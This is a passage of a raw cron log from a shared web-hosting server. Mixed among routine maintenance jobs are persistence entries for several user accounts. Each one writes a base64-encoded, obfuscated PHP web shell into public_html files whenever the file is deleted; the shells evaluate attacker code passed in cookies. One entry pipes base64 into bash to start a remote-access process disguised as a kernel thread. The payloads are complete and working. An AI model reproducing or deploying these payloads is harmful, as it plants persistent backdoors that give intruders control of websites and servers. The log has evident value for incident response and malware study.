o6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:59:02 medusa CROND[11676]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:59:02 medusa CROND[11677]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:59:02 medusa CROND[11675]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:59:02 medusa CROND[11680]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:59:02 medusa CROND[11694]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:59:02 medusa CROND[11686]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:00:01 medusa CROND[31852]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:00:01 medusa CROND[31922]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 11:00:01 medusa CROND[32041]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 11:00:02 medusa CROND[32337]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:00:02 medusa CROND[32338]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 11:00:02 medusa CROND[32340]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 11:00:02 medusa CROND[32341]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  2 11:00:02 medusa CROND[32343]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 11:00:02 medusa CROND[32346]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Mar  2 11:00:02 medusa CROND[32348]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 11:00:02 medusa CROND[32355]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:00:02 medusa CROND[32363]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 11:00:02 medusa CROND[32364]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:00:02 medusa CROND[32366]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 11:00:02 medusa CROND[32370]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:00:02 medusa CROND[32371]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 11:00:02 medusa CROND[32372]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:00:02 medusa CROND[32373]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 11:00:02 medusa CROND[32382]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  2 11:00:02 medusa CROND[32384]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  2 11:00:02 medusa CROND[32390]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 11:00:02 medusa CROND[32393]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:00:02 medusa CROND[32387]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 11:00:02 medusa CROND[32391]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:00:02 medusa CROND[32389]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 11:00:02 medusa CROND[32395]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 11:00:02 medusa CROND[32396]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:00:02 medusa CROND[32385]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 11:00:02 medusa CROND[32386]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 11:00:02 medusa CROND[32404]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:00:02 medusa CROND[32410]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 11:00:02 medusa CROND[32411]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 11:00:02 medusa CROND[32420]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  2 11:00:02 medusa CROND[32409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:00:02 medusa CROND[32428]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 11:00:02 medusa CROND[32415]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 11:00:02 medusa CROND[32424]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  2 11:00:02 medusa CROND[32430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:01:01 medusa CROND[18518]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 11:01:01 medusa CROND[18699]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 11:01:01 medusa CROND[18774]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:01:01 medusa CROND[18778]: (root) CMD (run-parts /etc/cron.hourly)
Mar  2 11:01:01 medusa CROND[18779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:01:01 medusa CROND[18780]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:01:01 medusa CROND[18781]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:01:01 medusa CROND[18782]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgIC